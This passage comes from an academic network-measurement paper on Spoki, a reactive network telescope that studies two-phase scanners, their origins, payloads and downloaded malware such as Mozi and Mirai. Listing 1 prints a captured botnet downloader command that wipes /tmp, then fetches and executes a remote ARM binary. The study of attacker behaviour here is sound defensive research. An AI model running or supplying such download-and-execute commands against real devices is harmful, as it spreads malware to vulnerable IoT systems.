resources. Even if we are only leveraging a couple of unused
/24 blocks in this study, our target for stable deployment is one
of the largest IPv4 network telescopes (i.e., three quarters of
a /8 prefix) listening to more than 12M IP addresses. Current
traffic peaks include up to 83.4M packets per minute. Sec-
ond, Spoki should ensure that scanners receive the SYN ACK
in time to engage in the second phase. This means reacting
to any incoming packet in near real-time. We need to emu-
late TCP/IP network stack behavior for any of the listening
IP addresses as if each IP address was hosted on a separate
system.

The core building blocks of our system are depicted in Fig-
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Figure 8: Traffic flow for reactive probing in the telescope.

ure 8. IBR (i.e., unsolicited traffic) including irregular SYNs
originating from the whole Internet is captured by a network
telescope. Spoki “subscribes” to listen to a subset (or all) of
the telescope IP addresses and extracts the source IP addresses
of TCP SYN packets along with the necessary information
to craft valid replies. It then uses Scamper [39], a specialized
open-source probing application, to send probes that, to the
extracted targets, appear as valid responses (e.g., each source
address of a probe matches the destination address of the orig-
inal packet observed and the ACK number is set consistently).
As a result, replies to these probes arrive in the telescope
mixed with regular IBR. Spoki identifies replies and stores
them for further processing. We carefully configure Spoki to
not operate as an amplifier (see Appendix A). For a discussion
of related work in the context of Spoki, see Section 7.

3.1 Implementing Spoki
Our goal is to design, implement, and deploy a system that can
handle the expected traffic in real-time. We leverage the actor
programming paradigm. Actors provide scalable components
that pass messages among concurrently running computations
and separate our system into smaller, specialized building
blocks. We implement Spoki in native C++ extended by the
C++ Actor Framework (CAF) [11].

CAF combines the benefits of native program execution
with a high level of abstraction. Transparent messages passing
between actors makes the system distributable and allows
scaling across multiple cores as well as multiple hosts. In our
case, packets with different source addresses are independent
events and can thus be handled concurrently, which makes
them a perfect fit for concurrent processing offered by actors.
This foundation allows us to focus on the high-level analysis
and data flow instead of investing effort into fitting Spoki into
the specific deployment environment.

Figure 9 shows the architecture of the Spoki probing sys-
tem. Packets from the telescope (left side of the figure) are
captured by a router component using libtrace [53], which
can ingest packets in parallel threads. It extracts packet infor-
mation such as the flow tuple and payload, and routes packets
to a pool of shards. Routing decisions are based on consistent
hashing [14, 31] to ensure that packets with the same IP ad-
dress are routed to the same shard. This approach allows us to
implement rate limiting of packets that are sent to a specific
target and potentially cache information for the duration of a
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Figure 9: The architecture of Spoki.
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handshake or across multiple packets.

Each shard decides which targets to probe and forwards the
data to the broker. A broker connects to one or more Scamper
daemons that handle construction and sending of message
probes. Scamper can be easily managed via a socket connec-
tion, and it supports various probing methods, including our
newly implemented synack probe, which we use to accept
TCP connections. The decoder parses probe confirmations
sent by Scamper and writes them to disk. In addition to probe
logs, Spoki writes all data from each packet including the pay-
loads and an id that links packets to their respective probes.

To analyze two-phase scanners, Spoki implements the de-
cision tree in Figure 6. It uses simple rules to decide how to
reply: (i) TCP SYN messages are answered with a TCP SYN
ACK message, (ii) ACK messages are answered with a RST
message, and (iii) all other TCP packets are ignored. Note
that the SYN-ACK responses sent out by Spoki are irregular
themselves as they do not carry TCP options.

Probes are orchestrated by Spoki and sent asynchronously
by Scamper. We avoid sending multiple packets to the same
target simultaneously by performing rate limiting: we do not
answer SYNs from the same source address until Scamper
confirms that it sent out the reply. Since care needs to be taken
not to miss establishing connections for the second (regular)
phase after having replied to an irregular SYN, we rate limit
the replies to regular and irregular TCP SYNs separately.

Rate limiting means that Spoki likely does not reply to all
packets from scanners that either traverse our IP space hori-
zontally or the ports of a single host vertically without using a
permutation similar to ZMap. For horizontal scans this is not
an issue, as scanners are likely to send the same payload to all
hosts. Unanswered SYNs could still be matched to the same
scan process. In contrast, Spoki might miss payloads in verti-
cal scans, which could be avoided by adding the destination
port as an additional factor to decide when to respond.

Phases are matched via time correlations between the first
and second phase, i.e., the second phase must start after we
replied to an irregular packet in the first phase. In addition,
we only consider related only packets that arrive within 10
minutes of each other. While both phases can originate from
different ports we assume they are sent by the same source ad-
dress and target the same host and port in our network. Again,
Spoki sends responses fast for two reasons. First, to overcome
TCP timeouts: In preliminary tests, we found that we need to
respond in less than five seconds. Otherwise, we will lose ≈
45% of complete handshakes because scanners will timeout
and send RSTs instead of ACKs. 5 seconds for any of the
millions of requests per minute is challenging. Second, to pre-
vent informed scanners to detect abnormal activities: Given
our attacker model where two-phase scans are largely used by
malicious actors, we may assume advanced attackers that try
to detect monitoring systems based on delay-based heuristics.
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Figure 10: The scalability of Spoki components.

3.2 Evaluating the Scalability of Spoki

Spoki is built around four main tasks: (i) packet ingestion
via the router, (ii) core evaluation performed by the shards,
(iii) logging events to disk via the collector, and (iv) probing
handled by the broker via Scamper. We evaluate the perfor-
mance of Spoki using a Linux server (Ubuntu 20.04.1 LTS),
which features two AMD EPYC 7702 64-Core processors and
512GB of RAM. A local pair of virtual Ethernet interfaces
route packets between the packet source and Spoki. We use
ZMap to generate TCP SYN packets, passing the MAC ad-
dress of the destination interface along with a probing rate and
a range of IP addresses to use as a source. We use two /9 pre-
fixes, one source and one destination prefix. We will publish
detailed configurations along with Spoki’s source code.

The highest packet rate we tested is 1Mpps. This value is
derived from the traffic volumes we observe in the UCSD
network telescope, which receives around 800kpps TCP at
the beginning of 2021. While the traffic volume will continue
to rise, our goal is to show that Spoki can meet the challenge–
and scale to larger volumes when needed. The results are
shown in Figure 10 with the number of packets per second on
the x-axis and the required components (i.e., one thread and
one Scamper instance) to handle the load on the y-axis.
Ingestion. In this setup, Spoki only deploys the packet in-
gestion based on libtrace alongside actors that count the re-
ceived packets. One Spoki component is able to handle about
250,000 packets per second. This scales linearly, and 1Mpps
can be handled by only four components.
Core. Here, we add one shard per ingest thread. The probe
requests generated by shards are collected by actors that count
them. The packet processing rate matches the ingestion rate.
Logging. I/O puts additional strain on the shards and doubles
their outgoing message volume, one message to the probers
and one message to the logger. As a result, a single shard can
no longer handle 250,000 messages per second. Our evalua-
tion shows a doubling for the number of shards: Scaling up
to 1 million messages per second needs eight shards.
Probing. Spoki parallelizes the use of multiple Scamper in-
stances by deploying multiple networking loops, one for each
instance. To reduce the resources needed for the communica-
tion with Scamper these loops can use unix-domain sockets
for communication. This way, we can scale easily with about
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20,000 probes per second per instance. To reach the targeted
probing rate we deploy 50 Scamper instances, which can be
optimized in the future.
Response delay. We target a packet rate of 100,000 probes
per second and collect about 6 million data points between
packet receipt and the response probe. The mean and 99%
confidence intervals are 0.08 milliseconds. This underscores
that Spoki is fast and does not miss accepting a handshake.

3.3 Deployment at a Reactive Telescope

We deploy Spoki in four /24 IP prefixes across the US and
Europe on commodity hardware. The machine in the US
has 8 cores available and 16GB of RAM, running a single
instance with eight shards. The CPU usage is between 5%
and 15% per core and the processes have a resident set size
(RSS) of ≈80k bytes memory (about 2GB of virtual memory).
Three Spoki instances run in the EU, each with its own /24
prefix, on a single machine with 16 cores and 31GB RAM.
The overall CPU usage is 10% to 20%, and the processes
use between 50k and 70k RSS (slightly above 2GB virtual
memory). Scamper sends probes from a separate machine
(US), or the same host (EU), which performs both listening
and probing. We separately collect PCAP files of the live data.

It is an integral part of Spoki to send packets with source ad-
dresses from the IP space of the telescope. Since network tele-
scopes do not bind specific sockets, they cannot send packets
themselves. In practice this requires issuing spoofed packets
from a host that is connected to the same upstream network to
remain indistinguishable to externals. Since reactivity might
have unexpected consequences and cause traffic to change for
the active versus the passive telescope IP space, we deploy
Spoki in this study only on a small portion of each telescope.
In the future, this will allow us to analyze potential divergence
between its passive and reactive components.

Spoki causes at least two extra packets for each two-phase
scanner it answers. In some scenarios, this number is much
higher. Some scanners answer the SYN-ACK reply with a
RST as part of the first phase. Moreover, the ACK packet sent
during the second phase may be retransmitted.

Overall, running Spoki is closer to a telescope than a hon-
eypot, since its responses are minimal and do not include any
payload. Our vantage points were previously dark and do not
share a prefix with a larger active network; as such, they do
not have a bias towards specific traffic.

4 Characterizing Two-Phase Scanners

We now want to analyze two-phase scanners and understand
how they operate and how they differ from regular one-phase
scanners. Our main observation points are two reactive tele-
scopes operating in Europe and the U.S. from Apr. through
Jun. 2020. We complement our measurements using flow data
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Figure 11: Temporal distribution of return for two-phase scan-
ners: 75% of second phases are initiated within a few seconds.

from the European IXP and the Asian ISP to strengthen se-
lected analyses, as well as from two additional telescopes for
control purposes.

In our analysis we exclude traffic from well-known scan-
ning projects (BinaryEdge, Censys, Kudelski, Rapid7, secu-
rity.ipip, Shadowserver, and Shodan) as well as a few other
IP addresses attributable to research measurements (e.g., via
DNS names). This sanitization filters out 1.21% of the two-
phase events, 3.44% of events that start with an irregular SYN,
and 8.43% of events that start with a regular SYN.

4.1 Scanning Patterns
Two-phase scanners are characterized by returning with a
regular TCP SYN after a successful irregular scan in the first
phase. Figure 11 shows the CDF for the time lag between
our SYN ACK (first phase) and the regular SYN (start of
second phase). Such scanner reactions happen fast: 75% of
the scanners return in less than a second (US) or three (EU).
Our event detection considers return times of up to ten minutes
and misses virtually none.

Inspecting the tails of slowly returning scanners in more
depth reveals two types of behavior. A larger number fluc-
tuates in return time up to 100 seconds, which may be due
to scheduling under the system load of many replies from
the first scanning phase. A smaller group admits constant,
significant delays. We attribute this to implementation or con-
figuration details of the scanning software. No correlations
with source locality or targets (IP, port) were visible.

Next we compare the activities of two-phase and regular
one-phase scanners. We want to understand whether two-
phase scanners simply use a different tool-set but follow the
same goals as regular scanners, or whether they have specific
targets and distinct behavior. We first examine the scanning
flows towards specific services with two metrics: how many
sources are interested in a specific port on a given day, and
how many of our hosts were scanned on a given port and day.

Figure 12 visualizes the two-phase scanning activities for
the lowest 10,000 ports and compares them with regular sin-
gle phase scans. In all cases, we see the same peak intensity
of about 10,000 different sources per day scanning specific
ports. The signatures of one- and two-phase scanners, how-
ever, largely differ. While one-phase scanning activities cover
wide port ranges often at intermediate intensity, the two-phase
scanners appear very focused in time and on specific ports.
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(a) Two-phase (US). (b) One-phase (US). (c) Two-phase (EU). (d) One-phase (EU).

Figure 12: Unique sources per day that probed the first 10k ports. Two-phase scanners are almost invisible beyond selected ports.

(a) Two-phase (US). (b) One-phase (US). (c) Two-phase (EU). (d) One-phase (EU).

Figure 13: Unique destinations targeted in our /24 subnets on the first 10k ports. Two-phase scanners tend to scan all addresses of
the subnets on selected ports and in specific time frames. Their service targets do not appear globally uniform.

This initial observation aligns with the scan coverages in
our telescopes. Figure 13 shows the number of scanned hosts
in our networks per port and day. Clear scanning patterns
become visible for the two-phase scanners, whereas the one-
phase scanning remains diffuse. This targeted behavior shows
intent among the scanners as well as a consensus on what
to probe. The next section further examines why two-phase
scanners contact us.

Our analysis shows that two-phase and one-phase scanners
both perform vertical scans. However, two-phase scanners fo-
cus more significantly on horizontal scans and engage much
less in vertical scans. While previous work noticed a growing
focus on vertical scans it either did not differentiate the be-
havior based on the scanner types [2, 26] or did not examine
scanning in this context [3].

The distribution of the topmost visited service ports is dis-
played in Figure 14. We find about 30% of all two-phase scans
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Figure 14: Distribution of top-20 ports. 20% of the scans are
only visible at the EU vantage point.

target the telnet port 23, which was also the first contact
point for Mirai. This is about half of the share observed by
Heo et al. [26] in 2018. We only see around 1% companion
scans on port 2323, which was a unique signature of Mirai [3].
For both ports we observe frequent (up to 200) connection
retries in the second phase of the scan, which Spoki answers
with a TCP reset. These retries could be attributed to the Mirai
strategy of probing for multiple credentials. On the overall
it appears as if Mirai persists in the scanning ecosystem, but
slowly gets replaced by scanner variants of altered behavior.

We find that the port distribution (Figure 14) is highly
biased with respect to the telescope location. Uniquely in
Europe, ≈15% of the scan events address port 1433, which
can be linked to a privilege escalation exploit in SIMATIC
controllers—a popular automation systems by Siemens AG,
which is a dominant supplier in Europe. Originally in the
old MS-SQL Spida worm, the exploit persisted as part of the
SIMATIC product until a few years ago. 10% of the scan
events in Europe link to the TR-069 exploit on port 7547,
which concerns home routers mainly popular in Europe. We
can confirm this observation by inspecting irregular SYN
traffic at the European IXP and Asian ISP. At the IXP, the
port 7547 is the 7th most common port but only 145th in
Asia. We observe irregular SYNs for port 1433 in European
and Asian traffic, which may relate to successful SIMATIC
deployment (e.g., in India). In contrast, about 3% of the scans
at the US telescope target port 4567, which grants access to
a web server for management on Verizon Actiontec home
routers exploitable by a Trojan.
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Table 1: Contact types of two-phase events; shares taken
relative to the contexts “Two-phase” or “w/ Payload”.

Event Type EU US

Two-phase 8,698,497 100.0% 7,899,333 100.0%
w/o ACK 2,894,987 33.3% 3,665,114 46.4%
w/o Payload 2,126,900 24.5% 1,767,249 22.4%
w/ Payload 3,676,610 42.3% 2,466,970 31.2%

Details w/ Payload
ASCII 2,155,751 58.6% 1,984,444 80.4%
HEX 1,478,556 40.2% 339,217 13.8%
Downloader 42,303 1.2% 143,309 5.8%

Analyzing the evolution of the top-5 service scans over
the last 16 years, we see a shift away from traditional service
ports such as the Microsoft Directory Service/SAMBA port
445 among two-phase scanners in favor of telnet as diagnosed
from an Asian perspective by Heo et al. [26]. Traditional one-
phase scanners continue to concentrate on port 445 (50-60%),
followed by a wide port distribution that starts one order of
magnitude lower. Details are summarized in Appendix C.

4.2 Types of Interaction

Two-phase scanners may contact our vantage points with dif-
ferent intents. Some may open connections to see service
announcements, also known as banner grabbing, while oth-
ers deliver payloads. These payloads can be service-specific
probes to elicit responses or collect information. These probes
could further determine whether the service behind a port is
the expected one, which is often not true [27]. A third kind of
scanners delivers payloads that attack the system directly.

Table 1 lists the numbers of received two-phase events
alongside the share of two-phase events that receive an ACK
or a payload in the second phase. Payloads are further sep-
arated by type: ASCII-decodable, binary data we store as
HEX, and ASCII payloads that contain downloaders. A down-
loader carries code in its payload that a vulnerable service
runs upon reception to download and install remote software,
see Section 5.2 for details. On average, payloads have been
retransmitted 2.5 times in the EU and 3.2 times in the US.

The share of payloads without an ACK stands out. There
is no obvious reason to return for a second phase without
completing the TCP handshake, as no relevant information is
learned over the stateless scan. A small part of these events
can be explained by packet loss, since we do not retransmit
packets. The port distribution in this category is rather wide
and resembles the initial contacts, which may be an indication
of overload at the scanner side.

Servers initiate conversations for some protocols, i.e., after
the TCP connection is established, they are the first to send
payload. These payloads can be collected by scanners for

additional information. In particular, the scanning can wait
for this payload before interacting. As an example, the telnet
login starts with an authentication request from the server
upon which a client can provide credentials. Roughly 70%
of the scanners in both regions contact port 23 without pay-
load, which is consistent with banner grabbing via the telnet
protocol.

Among contacts with payloads, the ASCII-decodable pay-
loads dominate. These scanners favor the HTTP ports 80,
8080, and 81 in both regions. The EU additionally sees a
larger share of ASCII contacts on port 7547, which fits the
TR-069 plain text protocol (see Section 4.1).

Downloaders detectable in ASCII payloads are more com-
mon in the US. The most common ports include HTTP-type
ports (80, 8089, 8080) as well as port 60001, which is used
as a web server on some IoT devices. Consequently, these
payloads are predominantly POST or GET requests.

For HEX contacts, ports 1433 (MS SQL, cf. Section 4.1)
and 445 (active directory / SMB) dominate in the EU
while the US sees contacts on ports 5555 (ADB) and 443
(HTTPS). This is consistent with the location-dependent tar-
geting (cf., Section 6).

4.3 Scan Origins

Two-phase scanning is globally observable in traffic flows
at IXPs and ISPs as well as in network telescopes, see Sec-
tion 2. To examine the origins of two-phase scanners, we map
their IP source addresses to countries based on the NetAcuity
Edge database [17]. The share of two-phase events by country
for each of our vantage points are presented in Table 2, for
top-5 contributors. While both vantage points observe simi-
lar origin countries, the intensity of scans per country differs
significantly. Compared to [15], we observe a more equal
distribution across nations. China is not the major source of
two-phase scans. Most notably, Ukraine and Poland hold a
significant share in the EU, while Taiwan is a major source of
two-phase scans in the US.

We also examine the monthly evolution of traffic shares for
Apr., May, and Jun. In Apr., at our US vantage point we see a
country distribution similar to the averages in Table 2. In May,
Taiwan hosts the majority of scanners (14.5%) and thus more
than the US (9.5%); this ranking swaps in Jun. again. China
(6% to 7%), Brazil (4.9% to 6.3%), and Romania (4.6% to
8.5%) slightly increase in share. Taking a closer look at the
rise in traffic in Taiwan during May, we observe numerous
addresses that each contribute few events (less than 1%). The
majority (85%) sits in AS 3462. This is accompanied by
a stronger interest in HTTP-like ports (80, 8080, 88, 8000,
etc.) and the most common payload is a simple GET request
(roughly 50%).

The EU telescope observed even more variation. In Apr.,
the biggest share is held by Ukraine (17.8%), followed by
China (13%) and the US (8.3%). Traffic from Russia (5% to
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Table 2: Top-5 share of two-phase events (i) ranked by country of source IP addresses and (ii) by source AS annotated with the
AS type. The EU sees larger shares from the top IP sources. Most sources are located in transit networks.

Ranked by source IP address Ranked by source AS
EU US EU US

1. Ukraine (UA) 13.37% United States (US) 11.93% Transit/Access (UA) 10.11% Transit/Access (CN) 9.36%
2. Russia (RU) 11.54% Taiwan (TW) 11.04% Enterprise (PL) 7.48% Transit/Access (UK) 5.60%
3. China (CN) 11.46% Romania (RO) 6.62% Enterprise (RU) 7.29% Transit/Access (KR) 3.94%
4. Poland (PL) 11.22% China (CN) 6.53% Transit/Access (TW) 5.19% Hosting (US) 3.19%
5. United States (US) 7.32% Russia (RU) 5.56% Transit/Access (CN) 4.01% Transit/Access (CN) 2.91%

15.6%) and Poland (3.5% to 17.4%) increases significantly
over the months. Similar to events observed at the US tele-
scope, the share of events originating from Taiwan peaks in
May (8.6%). Overall, two-phase scanning activities appear
rather volatile and unbound to specific infrastructure.

To analyze the type of networks that host two-phase scan-
ners, we map each source IP address to its origin autonomous
system (AS). Table 2 lists types and countries of the top five
ASes observed at each vantage point. The AS types are based
on the CAIDA AS Classification data set [8]. The top con-
tributing ASes are transit and access providers (70%). At
our EU vantage point, we observe two enterprise networks lo-
cated in Poland and Russia, while we only see a single hosting
provider (Digital Ocean) among the top 5 at our US telescope.

We examine the source addresses hosted in transit/access
ASes in detail to understand whether they belong to residen-
tial end hosts instead of server-based infrastructure. Using
reverse DNS queries we find that most of the names match the
patterns of access nodes (e.g., an IP address followed by a do-
main). In most of these ASes, a large number of IP addresses
(10k+) send out few probes each. Two ASes, however, differ:
AS 48081 and AS 9009 observed in the EU and US, respec-
tively, in which we only see a few source IP addresses that
massively send out two-phase scan packets. We now inspect
these further.

All traffic originated from the Ukrainian AS 48081 relates
to a single scanner. Using HTTP banner grabbing we find
that the scanner runs on a Mikrotik DSL router, which is
known to be vulnerable to a number of exploits [10]. Most of
the probing packets target the highly vulnerable services TR-
069 (7547) and Telnet (23). Potential ports of HTTP servers
(i.e., 80, 8080, 8002, 8001, 81, 82) are scanned one order of
magnitude less.

AS 9009 is located in Romania and hosts nearly 80 scan-
ners. Up to five of the scanners contribute most of the traf-
fic. These heavy hitters exhibit sequential IP addresses and
generic residential router names. The distribution of targeted
ports suggests systematic scanning. In particular, two ad-
dresses scan a large variety of ports with similar frequencies.
These scanners exclude ports 23 and 7547.

One option to host scanners is the cloud. We examined the
top ten observed ASes of hosting providers at both vantage

points. The largest share is held by the hosting provider rep-
resented in the top five in the US. Only two more hosting
providers held more than 1%. From this we conclude that a
two-phase scanner infrastructure in the cloud is not popular
in practice, similar to the observation of Heo et al. [26] for
telnet scans. The efficiency of stateless scans combined with
exploitable victims eases infrastructureless attacks. Attackers
hence tend to infiltrate end hosts and create a (P2P) botnet.

5 Transport Payloads

Spoki collects payloads from TCP ACK packets that complete
a handshake, which is one of its unique features compared to a
traditional network telescope. Table 1 lists the share of events
that contacted us with a specific payload type. We observe
166,035 and 190,905 unique payloads in the EU and the US
respectively, where 38% and 41% are ASCII-decodable. The
most frequently scanned port (port 23) almost never received
a payload, cf., Section 4.2.

For a detailed analysis, we group payloads by longest com-
mon prefixes of the first N bytes, since common prefixes
hint at similarities such as identical protocols. We chose
a maximum prefix length of 200 bytes since both vantage
points dominantly captured payloads with 200 bytes or fewer.
Figure 15 depicts the number of distinct prefixes per pay-
load length. The prefixes diverge significantly after 12 bytes
(i.e., GET / HTTP/) and after 31 bytes, exhibiting more
branches in the EU data (i.e., GET / HTTP/1.1\r\nHost:
IP.AD.DR:PORT with the IP address matching the first three
octets of our IP prefix). At about 35 bytes a few prefixes from
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Figure 15: Distribution of distinct payload prefixes: Steps
around 12 bytes and 30 bytes hint at common protocols.

440    31st USENIX Security Symposium USENIX Association



Table 3: Observed ASCII and hex payloads ranked by maximum share.

ASCII payload Hex payload
EU US EU US

Payload prefix Share Ports Share Ports Payload prefix Share Ports Share Ports

GET / HTTP/1.1 73.50% 7547, HTTP1 46.75% HTTP1 TDS73 Pre-login 74.52% 1433 1.16% 1433
GET login.cgi 14.64% HTTP1 21.18% HTTP1 TLS Client Hello 4.55% 443, 8443 37.80% 443, 8443
GET / HTTP/1.0 1.10% HTTP1 10.49% HTTP1, 10255 ADB4 Connect 4.97% 5555 37.01% 5555
POST / 3.72% 52869, HTTP1 4.12% HTTP1 SMB Negotiate 11.04% 445 –
Debugging port2 1.09% 9530 2.04% 9530 PSQL/UPnP 0.35% 5432 3.10% 5432, 5000
Hardcoded auth2 0.95% 4567 3.13% 4567 TSAP 0.45% 102 1.42% 102
SSH-2.0- 0.93% 22, 2222 1.65% 22, 2222 MongoDB 0.27% 27017 1.21% 27017
GET /s (e.g., shell) 0.71% 8983, 60001 2.01% 8983, 80, 60001 Unknown 0.16% 28967 1.15% 28967
1HTTP-like ports such as 80, 8080, 8081. 3Tabular Data Stream Protocol (TDS) used by Microsoft SQL.
2Strings related to exploits of embedded devices, e.g., DVRs, NVRs, and IP cameras. 4Android Debug Bridge (ADB).

the US branch, but are hard to pin down to a specific payload.
The large EU increase terminates at 40 bytes, which marks a
hex payload of the Tabular Data Stream Protocol.

These striking jumps suggest large shares of similarly struc-
tured payloads. To identify further commonalities, we build
a prefix tree and match trivial components (e.g., destination
IP addresses). Based on the common payload prefixes, com-
bined with targeted ports, we identify the strongest contribut-
ing protocols as listed in Table 3. At both vantage points, the
majority of the observed payloads are HTTP GET requests
version 1.1. Port 7547 stands out in the EU, which is related
to the TR-069 vulnerability. The prefix GET /s covers GET
/shell, including further commands that switch directories,
download a shell script or a binary, and give permission to
execute (example in Listing 1).

Listing 1: Query of a GET request observed to /shell on
port 37215. It downloads and executes arm7.

1 cd /tmp; rm -rf *; \\
2 wget http://IPv4/arm7; \\
3 chmod 777 arm7; ./arm7 rep.arm7

5.1 Assessing Maliciousness
We first analyze the maliciousness of payloads semi-manually
by extracting payload data, decoding it, and comparing to
known exploits. While this generates a basic overview over a
subset of payloads, we follow a systematic approach thereafter
using blocklists and a threat intelligence provider.

We can tell from the payloads that 150k POST events in
Europe (600 in the US) relate to a UPnP exploit of Realtek
that can lead to code injection. Two other frequent payloads
send hex strings related to exploits in embedded devices, see
“Debugging port” and “Hardcoded auth” in Table 3.

We decoded binary payloads using Wireshark. Aside from
the payload sent to port 28967, which we could not decode,
target services (or devices) relate to known exploits. In the
EU, a dominant share of two-phase scanners is hitting port

1433 (Microsoft SQL/SIMATIC) while the share in the US is
evenly distributed between 443 and 5555 (TLS and Android
Debug Bridge). Some Android devices allow attackers access
on this port, e.g., to install cryptocurrency miners [36, 51].
Port 27017 (MongoDB) was targeted by hackers in 2020,
who copied and deleted databases to hold the data for ransom.

∼3% of the HTTP / 1.1 payloads include the string zgrab
and a user agent matching the default value in the ZGrab
source code, cf., [46]. We observe two variations of the “Host”
headers: one uses the form HOST:PORT and favors port 80,
the other lists an integer and targets up to 5 ports equally.

Overall, we see payloads that are clearly malicious
(e.g., carrying shell code) as well as more harmless ones
(e.g., those using the ZGrab user agent). However, payloads
that look benign at first glance could be used for reconnais-
sance scans by malicious actors.

For a systematic cross verification, we compare source IP
addresses to blocklists and data from GreyNoise (GN) [24],
a threat intelligence provider. We acknowledge that these
systems have limitations [37] but we also emphasize that
there is currently no perfect solution [18]. We try to mini-
mize systematic errors by using diverse sources as a loose
form of verification. URLhaus [54] shows a source overlap of
3.0% (7.6% events). MalwareWorld [40] includes 4.6% of our
sources (16.06% events). BlockIP [44] exhibits an overlap of
6.9% (30.6% events). We see overlaps of 3.9% (13.4% events)
and 2.8% (15.6% events) on the sshclient and sipquery lists
collected by DataPlane [33]. GN classifies 56% (EU) and
70% (US) of the two-phase payload sources as malicious.
The overall share of malicious sources is comparably lower
among all scanners with 38% (EU) and 35% (US).

In summary, all analyses of payloads and data sources re-
veal a notable share of malicious actors among two-phase
scanners. In addition, malicious sources produce a relatively
large share of the entire events.
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5.2 Analyzing Downloaders

We identified those ASCII-decodable payloads that perform
downloads using wget or curl. We denote the source address
of the payload as the scanner and the address targeted by the
download as the hoster. Each event gets a name extracted from
the last path element of the URL. The most common name
we see is arm7 with 44% (EU) and 58% (US), respectively.
It is followed by mpsl (around 10%), le.bot.arm7 (5-8%),
and viktor.mips (3%).

Some names point at an architecture directly such as arm7
while others include a file ending. Shell scripts make up 8%
(EU) vs. 6% (US). These are platform-independent and usu-
ally perform further tasks such as downloading architecture-
specific binaries. The mips architecture takes a share of 9%
vs. 5% while x86 makes up only 5% vs. 2%. This composi-
tion fits the increasing focus of malware on home gateways
and IoT devices, which could be observed over recent years.

Characterizing scanners and hosters by their origin AS
shows large diversity. Only a single AS originates about 10%
of the scans in both regions, AS 202425 (int-network). In
contrast, the hosters appear consolidated among a few ASes.
The top four hosters make up 50% of the events, lead by
AS 16276 (ovh) with 18% (EU) vs. 23% (US). AS 42864
(giganet-hu) serves 10.5% (EU) vs. 5.4% (US) downloads
and stands out as an ISP. This ISP contributes a larger variety
of names, but the most common name le.bot.arm7 hints at
a botnet.

Two more ASes, AS 206898 (bladeservers) and
AS 36352 (as-colocrossing), contribute around 10% in both
regions. These hosters are traditional cloud providers and the
overall numbers show that a small group of hosters play a
large role in the distribution of (potential) malware.

5.3 Analyzing Executables

In the next step, we automatically fetch files (i.e., binary files
and shell scripts) to which the downloaders of the second
scan phase refer. Spoki supplies the URLs in real-time, but
we rate limit the download process for repeating URLs by
one download per hour. Accessing URLs within one hour
leads to success rates slightly below 50%, presumably many
scanning campaigns run outdated configurations. 1% of the
URLs include broken hosts (e.g., YOURIPHERE).

Over the course of 4 months in 2021 we downloaded
12,319 executable files with 250 distinct hashes (2.2%).
While we again see a large variety of names such as arm7,
b3astmode.arm7, or init.sh, the most frequent name was
a variant of Mozi with more than 80%. Those files exhibit
three different suffixes: m, a, and 7. The Mozi botnet has been
around since 2019 and gained new capabilities since then [43].
Its P2P approach becomes apparent, because the IP addresses
of the hosters coincide with those of the scanners that sent the
payload.

Analyzing the file types of the downloads, the major-
ity (70%) are 32-bit ELF binaries (67% MSB MIPS,
26% LSB ARM, 5% LSB MIPS, 1% LSB Intel 80386). In
addition, we observe 14.8% shell scripts that configure the
host, download binaries of multiple architectures, and run
them. The remaining files are classified as 10.8% ASCII text
(nearly 90% of these are shell scripts), 4% HTML (most carry
a warning for suspected phishing in the title), and two ELF
64-bit x86 binaries.

We classified the downloaded binaries using the malware
database VirusTotal [55]. For each unique file, we queried
VirusTotal from the first detection of the file by Spoki until its
appearance in the database. Binaries already known were con-
sidered old, binaries later discovered by VirusTotal are new,
and binaries not appearing are considered benign. The clas-
sification results of our four months analysis are as follows:
18% benign, 65% old exploits, and 17% new exploits. Almost
two-thirds (62.4%) of the hashes are classified as Trojans, and
8% are classified as downloaders. Among them 58.8% are
labeled Mirai.

Our data was collected from February to March and Au-
gust to September 2021 with a four months pause in between.
While Mozi dominates both time frames, we can see a shift in
the source countries of the Mozi hosters. During the first pe-
riod Serbia dominates with 65% of the downloads, followed
by India (21%) and China (4.8%). In the second period Ser-
bia disappeared and the origin shifted towards China, now
supplying 69%. India dropped to 11.3%. This highly volatile
behavior could signify a shift in infections from one region to
another, but could also be the result of evolving scan strategies
with new instructions for bots.

6 Localized Two-Phase Scanning

We observed (i) scanning of services specifically tailored
to regional deployment and (ii) a geographic proximity be-
tween victims and origins. In this section, we first describe
our observation of locality in the telescopes, then we examine
correlations between sources, targets, and the vantage point
based on IXP data.

6.1 Scanning Locality at Telescopes
We selected the ten routable prefixes with the highest activ-
ity to look behind the scenes of scanners and estimate their
scopes. These top prefixes contribute 35–40% of all scanning
events, depending on the vantage point. While examining
data from the EU telescope, we found that an astonishing six
out of the top ten prefixes (by count of two-phase events) are
located in the same /16 block as our /24 network telescope.
The shares are visualized in Figure 16.

Our observation point in the EU consists of 256 addresses
in a single /24 routable prefix, which we advertise from our
own autonomous system. The covering /16 prefix splits into
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Figure 16: Share of two-phase events from the ten most con-
tributing prefixes observed in the EU aggregated by locality.
The orange bar shows the share originating from prefixes in
the same /16 IPv4 address block as our /24 telescope.

different networks that are distributed among other ASes.
Correspondingly, the prominent scanning activities emerge
from different sub-prefixes (and providers) of this /16 prefix.
Providers are also located in different countries – the Ukraine,
Poland, and Russia.

Traffic originated from only one single address within each
sub-prefix, with the exception of one case where addresses
switched during our observation period with no overlap in the
activity windows—a likely re-addressing of the same host.
These hosts seem not tied to specific service campaigns but
scanned various service ports, i.e., 8080, 80, 8082, 8081, 82,
81, 23, and 7547.

Topological locality in scanning has been previously no-
ticed in specific contexts [9, 48], but could not be pinned
down systematically. We suspect that traffic localization oc-
curs significantly at regional level. For this reason, we widen
our analysis and examine our U.S. vantage point for events
originating from the related prefixes. We find no evidence of
any topological correlation between scanners and this ‘victim’
(the U.S. vantage point), which confirms that locality patterns
largely depend on regions and cannot be generalized on a
global scale.

6.2 Scanning Locality at a European IXP

Motivated by the locality observation in our EU network
telescope—i.e., it receives a significant share of irregular traf-
fic from networks of the same /16 prefix—we extend our
analysis to a European IXP. At the IXP, we can examine all
(sampled) traffic flows and check whether other source pre-
fixes emit irregular SYNs targeting the same covering /16
prefix.

We observe local, irregular SYNs for a total of 370 /16
prefixes, which—since a /16 prefix hosts about 65k target
addresses and considering a sampling rate of 1:16k—amounts
to about 150 packets per host in each prefix. These packets are
largely targeted towards specific ports and match the behavior
of two-phase scanners we observed. 96% of local SYNs target
telnet and router management ports (23, 7547, 8291), which
notably deviates from the non-local, irregular traffic (12% for
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Figure 17: Share of local, irregular SYNs for scanners visible
at the European IXP. The sources in the top left corner sent
all of their irregular SYNs to a destination within the same
/16. (Sampling rate: 1:16k)

the top three ports 80, 443, 23). In addition, the most active
sources are situated in ISP networks and in multiple cases
